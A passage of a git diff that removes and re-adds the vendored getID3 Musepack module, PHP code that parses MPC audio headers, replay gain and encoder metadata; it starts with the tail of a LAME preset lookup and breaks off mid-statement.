? 'fast ' : '').'standard'; // 3.94a15 Nov 12 2003 + $LAMEpresetUsedLookup[490] = '-V1'; + $LAMEpresetUsedLookup[500] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme'; // 3.94a15 Nov 12 2003 + + return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org'); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.mpc.php b/vendor/james-heinrich/getid3/getid3/module.audio.mpc.php index f1853bf93b..d7f2d99f9a 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.mpc.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.mpc.php @@ -1,549 +1,549 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.mpc.php // -// module for analyzing Musepack/MPEG+ Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_mpc extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['mpc']['header'] = array(); - $thisfile_mpc_header = &$info['mpc']['header']; - - $info['fileformat'] = 'mpc'; - $info['audio']['dataformat'] = 'mpc'; - $info['audio']['bitrate_mode'] = 'vbr'; - $info['audio']['channels'] = 2; // up to SV7 the format appears to have been hardcoded for stereo only - $info['audio']['lossless'] = false; - - $this->fseek($info['avdataoffset']); - $MPCheaderData = $this->fread(4); - $info['mpc']['header']['preamble'] = substr($MPCheaderData, 0, 4); // should be 'MPCK' (SV8) or 'MP+' (SV7), otherwise possible stream data (SV4-SV6) - if (preg_match('#^MPCK#', $info['mpc']['header']['preamble'])) { - - // this is SV8 - return $this->ParseMPCsv8(); - - } elseif (preg_match('#^MP\+#', $info['mpc']['header']['preamble'])) { - - // this is SV7 - return $this->ParseMPCsv7(); - - } elseif (preg_match('/^[\x00\x01\x10\x11\x40\x41\x50\x51\x80\x81\x90\x91\xC0\xC1\xD0\xD1][\x20-37][\x00\x20\x40\x60\x80\xA0\xC0\xE0]/s', $MPCheaderData)) { - - // this is SV4 - SV6, handle seperately - return $this->ParseMPCsv6(); - - } else { - - $this->error('Expecting "MP+" or "MPCK" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($MPCheaderData, 0, 4)).'"'); - unset($info['fileformat']); - unset($info['mpc']); - return false; - - } - } - - /** - * @return bool - */ - public function ParseMPCsv8() { - // this is SV8 - // http://trac.musepack.net/trac/wiki/SV8Specification - - $info = &$this->getid3->info; - $thisfile_mpc_header = &$info['mpc']['header']; - - $keyNameSize = 2; - $maxHandledPacketLength = 9; // specs say: "n*8; 0 < n < 10" - - $offset = $this->ftell(); - while ($offset < $info['avdataend']) { - $thisPacket = array(); - $thisPacket['offset'] = $offset; - $packet_offset = 0; - - // Size is a variable-size field, could be 1-4 bytes (possibly more?) - // read enough data in and figure out the exact size later - $MPCheaderData = $this->fread($keyNameSize + $maxHandledPacketLength); - $packet_offset += $keyNameSize; - $thisPacket['key'] = substr($MPCheaderData, 0, $keyNameSize); - $thisPacket['key_name'] = $this->MPCsv8PacketName($thisPacket['key']); - if ($thisPacket['key'] == $thisPacket['key_name']) { - $this->error('Found unexpected key value "'.$thisPacket['key'].'" at offset '.$thisPacket['offset']); - return false; - } - $packetLength = 0; - $thisPacket['packet_size'] = $this->SV8variableLengthInteger(substr($MPCheaderData, $keyNameSize), $packetLength); // includes keyname and packet_size field - if ($thisPacket['packet_size'] === false) { - $this->error('Did not find expected packet length within '.$maxHandledPacketLength.' bytes at offset '.($thisPacket['offset'] + $keyNameSize)); - return false; - } - $packet_offset += $packetLength; - $offset += $thisPacket['packet_size']; - - switch ($thisPacket['key']) { - case 'SH': // Stream Header - $moreBytesToRead = $thisPacket['packet_size'] - $keyNameSize - $maxHandledPacketLength; - if ($moreBytesToRead > 0) { - $MPCheaderData .= $this->fread($moreBytesToRead); - } - $thisPacket['crc'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 4)); - $packet_offset += 4; - $thisPacket['stream_version'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); - $packet_offset += 1; - - $packetLength = 0; - $thisPacket['sample_count'] = $this->SV8variableLengthInteger(substr($MPCheaderData, $packet_offset, $maxHandledPacketLength), $packetLength); - $packet_offset += $packetLength; - - $packetLength = 0; - $thisPacket['beginning_silence'] = $this->SV8variableLengthInteger(substr($MPCheaderData, $packet_offset, $maxHandledPacketLength), $packetLength); - $packet_offset += $packetLength; - - $otherUsefulData = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); - $packet_offset += 2; - $thisPacket['sample_frequency_raw'] = (($otherUsefulData & 0xE000) >> 13); - $thisPacket['max_bands_used'] = (($otherUsefulData & 0x1F00) >> 8); - $thisPacket['channels'] = (($otherUsefulData & 0x00F0) >> 4) + 1; - $thisPacket['ms_used'] = (bool) (($otherUsefulData & 0x0008) >> 3); - $thisPacket['audio_block_frames'] = (($otherUsefulData & 0x0007) >> 0); - $thisPacket['sample_frequency'] = $this->MPCfrequencyLookup($thisPacket['sample_frequency_raw']); - - $thisfile_mpc_header['mid_side_stereo'] = $thisPacket['ms_used']; - $thisfile_mpc_header['sample_rate'] = $thisPacket['sample_frequency']; - $thisfile_mpc_header['samples'] = $thisPacket['sample_count']; - $thisfile_mpc_header['stream_version_major'] = $thisPacket['stream_version']; - - $info['audio']['channels'] = $thisPacket['channels']; - $info['audio']['sample_rate'] = $thisPacket['sample_frequency']; - $info['playtime_seconds'] = $thisPacket['sample_count'] / $thisPacket['sample_frequency']; - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - break; - - case 'RG': // Replay Gain - $moreBytesToRead = $thisPacket['packet_size'] - $keyNameSize - $maxHandledPacketLength; - if ($moreBytesToRead > 0) { - $MPCheaderData .= $this->fread($moreBytesToRead); - } - $thisPacket['replaygain_version'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); - $packet_offset += 1; - $thisPacket['replaygain_title_gain'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); - $packet_offset += 2; - $thisPacket['replaygain_title_peak'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); - $packet_offset += 2; - $thisPacket['replaygain_album_gain'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); - $packet_offset += 2; - $thisPacket['replaygain_album_peak'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); - $packet_offset += 2; - - if ($thisPacket['replaygain_title_gain']) { $info['replay_gain']['title']['gain'] = $thisPacket['replaygain_title_gain']; } - if ($thisPacket['replaygain_title_peak']) { $info['replay_gain']['title']['peak'] = $thisPacket['replaygain_title_peak']; } - if ($thisPacket['replaygain_album_gain']) { $info['replay_gain']['album']['gain'] = $thisPacket['replaygain_album_gain']; } - if ($thisPacket['replaygain_album_peak']) { $info['replay_gain']['album']['peak'] = $thisPacket['replaygain_album_peak']; } - break; - - case 'EI': // Encoder Info - $moreBytesToRead = $thisPacket['packet_size'] - $keyNameSize - $maxHandledPacketLength; - if ($moreBytesToRead > 0) { - $MPCheaderData .= $this->fread($moreBytesToRead); - } - $profile_pns = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); - $packet_offset += 1; - $quality_int = (($profile_pns & 0xF0) >> 4); - $quality_dec = (($profile_pns & 0x0E) >> 3); - $thisPacket['quality'] = (float) $quality_int + ($quality_dec / 8); - $thisPacket['pns_tool'] = (bool) (($profile_pns & 0x01) >> 0); - $thisPacket['version_major'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); - $packet_offset += 1; - $thisPacket['version_minor'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); - $packet_offset += 1; - $thisPacket['version_build'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); - $packet_offset += 1; - $thisPacket['version'] = $thisPacket['version_major'].'.'.$thisPacket['version_minor'].'.'.$thisPacket['version_build']; - - $info['audio']['encoder'] = 'MPC v'.$thisPacket['version'].' ('.(($thisPacket['version_minor'] % 2) ? 'unstable' : 'stable').')'; - $thisfile_mpc_header['encoder_version'] = $info['audio']['encoder']; - //$thisfile_mpc_header['quality'] = (float) ($thisPacket['quality'] / 1.5875); // values can range from 0.000 to 15.875, mapped to qualities of 0.0 to 10.0 - $thisfile_mpc_header['quality'] = (float) ($thisPacket['quality'] - 5); // values can range from 0.000 to 15.875, of which 0..4 are "reserved/experimental", and 5..15 are mapped to qualities of 0.0 to 10.0 - break; - - case 'SO': // Seek Table Offset - $packetLength = 0; - $thisPacket['seek_table_offset'] = $thisPacket['offset'] + $this->SV8variableLengthInteger(substr($MPCheaderData, $packet_offset, $maxHandledPacketLength), $packetLength); - $packet_offset += $packetLength; - break; - - case 'ST': // Seek Table - case 'SE': // Stream End - case 'AP': // Audio Data - // nothing useful here, just skip this packet - $thisPacket = array(); - break; - - default: - $this->error('Found unhandled key type "'.$thisPacket['key'].'" at offset '.$thisPacket['offset']); - return false; - } - if (!empty($thisPacket)) { - $info['mpc']['packets'][] = $thisPacket; - } - $this->fseek($offset); - } - $thisfile_mpc_header['size'] = $offset; - return true; - } - - /** - * @return bool - */ - public function ParseMPCsv7() { - // this is SV7 - // http://www.uni-jena.de/~pfk/mpp/sv8/header.html - - $info = &$this->getid3->info; - $thisfile_mpc_header = &$info['mpc']['header']; - $offset = 0; - - $thisfile_mpc_header['size'] = 28; - $MPCheaderData = $info['mpc']['header']['preamble']; - $MPCheaderData .= $this->fread($thisfile_mpc_header['size'] - strlen($info['mpc']['header']['preamble'])); - $offset = strlen('MP+'); - - $StreamVersionByte = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 1)); - $offset += 1; - $thisfile_mpc_header['stream_version_major'] = ($StreamVersionByte & 0x0F) >> 0; - $thisfile_mpc_header['stream_version_minor'] = ($StreamVersionByte & 0xF0) >> 4; // should always be 0, subversions no longer exist in SV8 - $thisfile_mpc_header['frame_count'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 4)); - $offset += 4; - - if ($thisfile_mpc_header['stream_version_major'] != 7) { - $this->error('Only Musepack SV7 supported (this file claims to be v'.$thisfile_mpc_header['stream_version_major'].')'); - return false; - } - - $FlagsDWORD1 = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 4)); - $offset += 4; - $thisfile_mpc_header['intensity_stereo'] = (bool) (($FlagsDWORD1 & 0x80000000) >> 31); - $thisfile_mpc_header['mid_side_stereo'] = (bool) (($FlagsDWORD1 & 0x40000000) >> 30); - $thisfile_mpc_header['max_subband'] = ($FlagsDWORD1 & 0x3F000000) >> 24; - $thisfile_mpc_header['raw']['profile'] = ($FlagsDWORD1 & 0x00F00000) >> 20; - $thisfile_mpc_header['begin_loud'] = (bool) (($FlagsDWORD1 & 0x00080000) >> 19); - $thisfile_mpc_header['end_loud'] = (bool) (($FlagsDWORD1 & 0x00040000) >> 18); - $thisfile_mpc_header['raw']['sample_rate'] = ($FlagsDWORD1 & 0x00030000) >> 16; - $thisfile_mpc_header['max_level'] = ($FlagsDWORD1 & 0x0000FFFF); - - $thisfile_mpc_header['raw']['title_peak'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 2)); - $offset += 2; - $thisfile_mpc_header['raw']['title_gain'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 2), true); - $offset += 2; - - $thisfile_mpc_header['raw']['album_peak'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 2)); - $offset += 2; - $thisfile_mpc_header['raw']['album_gain'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 2), true); - $offset += 2; - - $FlagsDWORD2 = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 4)); - $offset += 4; - $thisfile_mpc_header['true_gapless'] = (bool) (($FlagsDWORD2 & 0x80000000) >> 31); - $thisfile_mpc_header['last_frame_length'] = ($FlagsDWORD2 & 0x7FF00000) >> 20; - - - $thisfile_mpc_header['raw']['not_sure_what'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 3)); - $offset += 3; - $thisfile_mpc_header['raw']['encoder_version'] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, $offset, 1)); - $offset += 1; - - $thisfile_mpc_header['profile'] = $this->MPCprofileNameLookup($thisfile_mpc_header['raw']['profile']); - $thisfile_mpc_header['sample_rate'] = $this->MPCfrequencyLookup($thisfile_mpc_header['raw']['sample_rate']); - if ($thisfile_mpc_header['sample_rate'] == 0) { - $this->error('Corrupt MPC file: frequency == zero'); - return false; - } - $info['audio']['sample_rate'] = $thisfile_mpc_header['sample_rate']; - $thisfile_mpc_header['samples'] = ((($thisfile_mpc_header['frame_count'] - 1) * 1152) + $thisfile_mpc_header['last_frame_length']) * $info['audio']['channels']; - - $info['playtime_seconds'] = ($thisfile_mpc_header['samples'] / $info['audio']['channels']) / $info['audio']['sample_rate']; - if ($info['playtime_seconds'] == 0) { - $this->error('Corrupt MPC file: playtime_seconds == zero'); - return false; - } - - // add size of file header to avdataoffset - calc bitrate correctly + MD5 data - $info['avdataoffset'] += $thisfile_mpc_header['size']; - - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - - $thisfile_mpc_header['title_peak'] = $thisfile_mpc_header['raw']['title_peak']; - $thisfile_mpc_header['title_peak_db'] = $this->MPCpeakDBLookup($thisfile_mpc_header['title_peak']); - if ($thisfile_mpc_header['raw']['title_gain'] < 0) { - $thisfile_mpc_header['title_gain_db'] = (float) (32768 + $thisfile_mpc_header['raw']['title_gain']) / -100; - } else { - $thisfile_mpc_header['title_gain_db'] = (float) $thisfile_mpc_header['raw']['title_gain'] / 100; - } - - $thisfile_mpc_header['album_peak'] = $thisfile_mpc_header['raw']['album_peak']; - $thisfile_mpc_header['album_peak_db'] = $this->MPCpeakDBLookup($thisfile_mpc_header['album_peak']); - if ($thisfile_mpc_header['raw']['album_gain'] < 0) { - $thisfile_mpc_header['album_gain_db'] = (float) (32768 + $thisfile_mpc_header['raw']['album_gain']) / -100; - } else { - $thisfile_mpc_header['album_gain_db'] = (float) $thisfile_mpc_header['raw']['album_gain'] / 100;; - } - $thisfile_mpc_header['encoder_version'] = $this->MPCencoderVersionLookup($thisfile_mpc_header['raw']['encoder_version']); - - $info['replay_gain']['track']['adjustment'] = $thisfile_mpc_header['title_gain_db']; - $info['replay_gain']['album']['adjustment'] = $thisfile_mpc_header['album_gain_db']; - - if ($thisfile_mpc_header['title_peak'] > 0) { - $info['replay_gain']['track']['peak'] = $thisfile_mpc_header['title_peak']; - } elseif (round($thisfile_mpc_header['max_level'] * 1.18) > 0) { - $info['replay_gain']['track']['peak'] = getid3_lib::CastAsInt(round($thisfile_mpc_header['max_level'] * 1.18)); // why? I don't know - see mppdec.c - } - if ($thisfile_mpc_header['album_peak'] > 0) { - $info['replay_gain']['album']['peak'] = $thisfile_mpc_header['album_peak']; - } - - //$info['audio']['encoder'] = 'SV'.$thisfile_mpc_header['stream_version_major'].'.'.$thisfile_mpc_header['stream_version_minor'].', '.$thisfile_mpc_header['encoder_version']; - $info['audio']['encoder'] = $thisfile_mpc_header['encoder_version']; - $info['audio']['encoder_options'] = $thisfile_mpc_header['profile']; - $thisfile_mpc_header['quality'] = (float) ($thisfile_mpc_header['raw']['profile'] - 5); // values can range from 0 to 15, of which 0..4 are "reserved/experimental", and 5..15 are mapped to qualities of 0.0 to 10.0 - - return true; - } - - /** - * @return bool - */ - public function ParseMPCsv6() { - // this is SV4 - SV6 - - $info = &$this->getid3->info; - $thisfile_mpc_header = &$info['mpc']['header']; - $offset = 0; - - $thisfile_mpc_header['size'] = 8; - $this->fseek($info['avdataoffset']); - $MPCheaderData = $this->fread($thisfile_mpc_header['size']); - - // add size of file header to avdataoffset - calc bitrate correctly + MD5 data - $info['avdataoffset'] += $thisfile_mpc_header['size']; - - // Most of this code adapted from Jurgen Faul's MPEGplus source code - thanks Jurgen! :) - $HeaderDWORD = array(); - $HeaderDWORD[0] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, 0, 4)); - $HeaderDWORD[1] = getid3_lib::LittleEndian2Int(substr($MPCheaderData, 4, 4)); - - - // DDDD DDDD CCCC CCCC BBBB BBBB AAAA AAAA - // aaaa aaaa abcd dddd dddd deee eeff ffff - // - // a = bitrate = anything - // b = IS = anything - // c = MS = anything - // d = streamversion = 0000000004 or 0000000005 or 0000000006 - // e = maxband = anything - // f = blocksize = 000001 for SV5+, anything(?) for SV4 - - $thisfile_mpc_header['target_bitrate'] = (($HeaderDWORD[0] & 0xFF800000) >> 23); - $thisfile_mpc_header['intensity_stereo'] = (bool) (($HeaderDWORD[0] & 0x00400000) >> 22); - $thisfile_mpc_header['mid_side_stereo'] = (bool) (($HeaderDWORD[0] & 0x00200000) >> 21); - $thisfile_mpc_header['stream_version_major'] = ($HeaderDWORD[0] & 0x001FF800) >> 11; - $thisfile_mpc_header['stream_version_minor'] = 0; // no sub-version numbers before SV7 - $thisfile_mpc_header['max_band'] = ($HeaderDWORD[0] & 0x000007C0) >> 6; // related to lowpass frequency, not sure how it translates exactly - $thisfile_mpc_header['block_size'] = ($HeaderDWORD[0] & 0x0000003F); - - switch ($thisfile_mpc_header['stream_version_major']) { - case 4: - $thisfile_mpc_header['frame_count'] = ($HeaderDWORD[1] >> 16); - break; - - case 5: - case 6: - $thisfile_mpc_header['frame_count'] = $HeaderDWORD[1]; - break; - - default: - $info['error'] = 'Expecting 4, 5 or 6 in version field, found '.$thisfile_mpc_header['stream_version_major'].' instead'; - unset($info['mpc']); - return false; - } - - if (($thisfile_mpc_header['stream_version_major'] > 4) && ($thisfile_mpc_header['block_size'] != 1)) { - $this->warning('Block size expected to be 1, actual value found: '.$thisfile_mpc_header['block_size']); - } - - $thisfile_mpc_header['sample_rate'] = 44100; // AB: used by all files up to SV7 - $info['audio']['sample_rate'] = $thisfile_mpc_header['sample_rate']; - $thisfile_mpc_header['samples'] = $thisfile_mpc_header['frame_count'] * 1152 * $info['audio']['channels']; - - if ($thisfile_mpc_header['target_bitrate'] == 0) { - $info['audio']['bitrate_mode'] = 'vbr'; - } else { - $info['audio']['bitrate_mode'] = 'cbr'; - } - - $info['mpc']['bitrate'] = ($info['avdataend'] - $info['avdataoffset']) * 8 * 44100 / $thisfile_mpc_header['frame_count'] / 1152; - $info['audio']['bitrate'] = $info['mpc']['bitrate']; - $info['audio']['encoder'] = 'SV'.$thisfile_mpc_header['stream_version_major']; - - return true; - } - - /** - * @param int $profileid - * - * @return string - */ - public function MPCprofileNameLookup($profileid) { - static $MPCprofileNameLookup = array( - 0 => 'no profile', - 1 => 'Experimental', - 2 => 'unused', - 3 => 'unused', - 4 => 'unused', - 5 => 'below Telephone (q = 0.0)', - 6 => 'below Telephone (q = 1.0)', - 7 => 'Telephone (q = 2.0)', - 8 => 'Thumb (q = 3.0)', - 9 => 'Radio (q = 4.0)', - 10 => 'Standard (q = 5.0)', - 11 => 'Extreme (q = 6.0)', - 12 => 'Insane (q = 7.0)', - 13 => 'BrainDead (q = 8.0)', - 14 => 'above BrainDead (q = 9.0)', - 15 => 'above BrainDead (q = 10.0)' - ); - return (isset($MPCprofileNameLookup[$profileid]) ? $MPCprofileNameLookup[$profileid] : 'invalid'); - } - - /** - * @param int $frequencyid - * - * @return int|string - */ - public function MPCfrequencyLookup($frequencyid) { - static $MPCfrequencyLookup = array( - 0 => 44100, - 1 => 48000, - 2 => 37800, - 3 => 32000 - ); - return (isset($MPCfrequencyLookup[$frequencyid]) ? $MPCfrequencyLookup[$frequencyid] : 'invalid'); - } - - /** - * @param int $intvalue - * - * @return float|false - */ - public function MPCpeakDBLookup($intvalue) { - if ($intvalue > 0) { - return ((log10($intvalue) / log10(2)) - 15) * 6; - } - return false; - } - - /** - * @param int $encoderversion - * - * @return string - */ - public function MPCencoderVersionLookup($encoderversion) { - //Encoder version * 100 (106 = 1.06) - //EncoderVersion % 10 == 0 Release (1.0) - //EncoderVersion % 2 == 0 Beta (1.06) - //EncoderVersion % 2 == 1 Alpha (1.05a...z) - - if ($encoderversion == 0) { - // very old version, not known exactly which - return 'Buschmann v1.7.0-v1.7.9 or Klemm v0.90-v1.05'; - } - - if (($encoderversion % 10) == 0) { - - // release version - return number_format($encoderversion / 100, 2); - - } elseif (($encoderversion % 2) == 0) { - - // beta version - return number_format($encoderversion / 100, 2).' beta'; - - } - - // alpha version - return number_format($encoderversion / 100, 2).' alpha'; - } - - /** - * @param string $data - * @param int $packetLength - * @param int $maxHandledPacketLength - * - * @return int|false - */ - public function SV8variableLengthInteger($data, &$packetLength, $maxHandledPacketLength=9) { - $packet_size = 0; - for ($packetLength = 1; $packetLength <= $maxHandledPacketLength; $packetLength++) { - // variable-length size field: - // bits, big-endian - // 0xxx xxxx - value 0 to 2^7-1 - // 1xxx xxxx 0xxx xxxx - value 0 to 2^14-1 - // 1xxx xxxx 1xxx xxxx 0xxx xxxx - value 0 to 2^21-1 - // 1xxx xxxx 1xxx xxxx 1xxx xxxx 0xxx xxxx - value 0 to 2^28-1 - // ... - $thisbyte = ord(substr($data, ($packetLength - 1), 1)); - // look through bytes until find a byte with MSB==0 - $packet_size = ($packet_size << 7); - $packet_size = ($packet_size | ($thisbyte & 0x7F)); - if (($thisbyte & 0x80) === 0) { - break; - } - if ($packetLength >= $maxHandledPacketLength) { - return false; - } - } - return $packet_size; - } - - /** - * @param string $packetKey - * - * @return string - */ - public function MPCsv8PacketName($packetKey) { - static $MPCsv8PacketName = array(); - if (empty($MPCsv8PacketName)) { - $MPCsv8PacketName = array( - 'AP' => 'Audio Packet', - 'CT' => 'Chapter Tag', - 'EI' => 'Encoder Info', - 'RG' => 'Replay Gain', - 'SE' => 'Stream End', - 'SH' => 'Stream Header', - 'SO' => 'Seek Table Offset', - 'ST' => 'Seek Table', - ); - } - return (isset($MPCsv8PacketName[$packetKey]) ? $MPCsv8PacketName[$packetKey] : $packetKey); - } -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.mpc.php // +// module for analyzing Musepack/MPEG+ Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_mpc extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['mpc']['header'] = array(); + $thisfile_mpc_header = &$info['mpc']['header']; + + $info['fileformat'] = 'mpc'; + $info['audio']['dataformat'] = 'mpc'; + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['channels'] = 2; // up to SV7 the format appears to have been hardcoded for stereo only + $info['audio']['lossless'] = false; + + $this->fseek($info['avdataoffset']); + $MPCheaderData = $this->fread(4); + $info['mpc']['header']['preamble'] = substr($MPCheaderData, 0, 4); // should be 'MPCK' (SV8) or 'MP+' (SV7), otherwise possible stream data (SV4-SV6) + if (preg_match('#^MPCK#', $info['mpc']['header']['preamble'])) { + + // this is SV8 + return $this->ParseMPCsv8(); + + } elseif (preg_match('#^MP\+#', $info['mpc']['header']['preamble'])) { + + // this is SV7 + return $this->ParseMPCsv7(); + + } elseif (preg_match('/^[\x00\x01\x10\x11\x40\x41\x50\x51\x80\x81\x90\x91\xC0\xC1\xD0\xD1][\x20-37][\x00\x20\x40\x60\x80\xA0\xC0\xE0]/s', $MPCheaderData)) { + + // this is SV4 - SV6, handle seperately + return $this->ParseMPCsv6(); + + } else { + + $this->error('Expecting "MP+" or "MPCK" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($MPCheaderData, 0, 4)).'"'); + unset($info['fileformat']); + unset($info['mpc']); + return false; + + } + } + + /** + * @return bool + */ + public function ParseMPCsv8() { + // this is SV8 + // http://trac.musepack.net/trac/wiki/SV8Specification + + $info = &$this->getid3->info; + $thisfile_mpc_header = &$info['mpc']['header']; + + $keyNameSize = 2; + $maxHandledPacketLength = 9; // specs say: "n*8; 0 < n < 10" + + $offset = $this->ftell(); + while ($offset < $info['avdataend']) { + $thisPacket = array(); + $thisPacket['offset'] = $offset; + $packet_offset = 0; + + // Size is a variable-size field, could be 1-4 bytes (possibly more?) + // read enough data in and figure out the exact size later + $MPCheaderData = $this->fread($keyNameSize + $maxHandledPacketLength); + $packet_offset += $keyNameSize; + $thisPacket['key'] = substr($MPCheaderData, 0, $keyNameSize); + $thisPacket['key_name'] = $this->MPCsv8PacketName($thisPacket['key']); + if ($thisPacket['key'] == $thisPacket['key_name']) { + $this->error('Found unexpected key value "'.$thisPacket['key'].'" at offset '.$thisPacket['offset']); + return false; + } + $packetLength = 0; + $thisPacket['packet_size'] = $this->SV8variableLengthInteger(substr($MPCheaderData, $keyNameSize), $packetLength); // includes keyname and packet_size field + if ($thisPacket['packet_size'] === false) { + $this->error('Did not find expected packet length within '.$maxHandledPacketLength.' bytes at offset '.($thisPacket['offset'] + $keyNameSize)); + return false; + } + $packet_offset += $packetLength; + $offset += $thisPacket['packet_size']; + + switch ($thisPacket['key']) { + case 'SH': // Stream Header + $moreBytesToRead = $thisPacket['packet_size'] - $keyNameSize - $maxHandledPacketLength; + if ($moreBytesToRead > 0) { + $MPCheaderData .= $this->fread($moreBytesToRead); + } + $thisPacket['crc'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 4)); + $packet_offset += 4; + $thisPacket['stream_version'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); + $packet_offset += 1; + + $packetLength = 0; + $thisPacket['sample_count'] = $this->SV8variableLengthInteger(substr($MPCheaderData, $packet_offset, $maxHandledPacketLength), $packetLength); + $packet_offset += $packetLength; + + $packetLength = 0; + $thisPacket['beginning_silence'] = $this->SV8variableLengthInteger(substr($MPCheaderData, $packet_offset, $maxHandledPacketLength), $packetLength); + $packet_offset += $packetLength; + + $otherUsefulData = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); + $packet_offset += 2; + $thisPacket['sample_frequency_raw'] = (($otherUsefulData & 0xE000) >> 13); + $thisPacket['max_bands_used'] = (($otherUsefulData & 0x1F00) >> 8); + $thisPacket['channels'] = (($otherUsefulData & 0x00F0) >> 4) + 1; + $thisPacket['ms_used'] = (bool) (($otherUsefulData & 0x0008) >> 3); + $thisPacket['audio_block_frames'] = (($otherUsefulData & 0x0007) >> 0); + $thisPacket['sample_frequency'] = $this->MPCfrequencyLookup($thisPacket['sample_frequency_raw']); + + $thisfile_mpc_header['mid_side_stereo'] = $thisPacket['ms_used']; + $thisfile_mpc_header['sample_rate'] = $thisPacket['sample_frequency']; + $thisfile_mpc_header['samples'] = $thisPacket['sample_count']; + $thisfile_mpc_header['stream_version_major'] = $thisPacket['stream_version']; + + $info['audio']['channels'] = $thisPacket['channels']; + $info['audio']['sample_rate'] = $thisPacket['sample_frequency']; + $info['playtime_seconds'] = $thisPacket['sample_count'] / $thisPacket['sample_frequency']; + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + break; + + case 'RG': // Replay Gain + $moreBytesToRead = $thisPacket['packet_size'] - $keyNameSize - $maxHandledPacketLength; + if ($moreBytesToRead > 0) { + $MPCheaderData .= $this->fread($moreBytesToRead); + } + $thisPacket['replaygain_version'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); + $packet_offset += 1; + $thisPacket['replaygain_title_gain'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); + $packet_offset += 2; + $thisPacket['replaygain_title_peak'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); + $packet_offset += 2; + $thisPacket['replaygain_album_gain'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); + $packet_offset += 2; + $thisPacket['replaygain_album_peak'] = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 2)); + $packet_offset += 2; + + if ($thisPacket['replaygain_title_gain']) { $info['replay_gain']['title']['gain'] = $thisPacket['replaygain_title_gain']; } + if ($thisPacket['replaygain_title_peak']) { $info['replay_gain']['title']['peak'] = $thisPacket['replaygain_title_peak']; } + if ($thisPacket['replaygain_album_gain']) { $info['replay_gain']['album']['gain'] = $thisPacket['replaygain_album_gain']; } + if ($thisPacket['replaygain_album_peak']) { $info['replay_gain']['album']['peak'] = $thisPacket['replaygain_album_peak']; } + break; + + case 'EI': // Encoder Info + $moreBytesToRead = $thisPacket['packet_size'] - $keyNameSize - $maxHandledPacketLength; + if ($moreBytesToRead > 0) { + $MPCheaderData .= $this->fread($moreBytesToRead); + } + $profile_pns = getid3_lib::BigEndian2Int(substr($MPCheaderData, $packet_offset, 1)); + $packet_offset += 1; + $quality_int = (($profile_pns & 0xF0) >> 4); + $quality_dec = (($profile_pns & 0x0E) >> 3); + $thisPacket['quality'] = (float) $quality_int + ($quality_dec / 8); + $thisPacket['pns_tool'] = (bool) (($profile_pns & 0x01) >> 0); + $thisPacket['version_major'] = 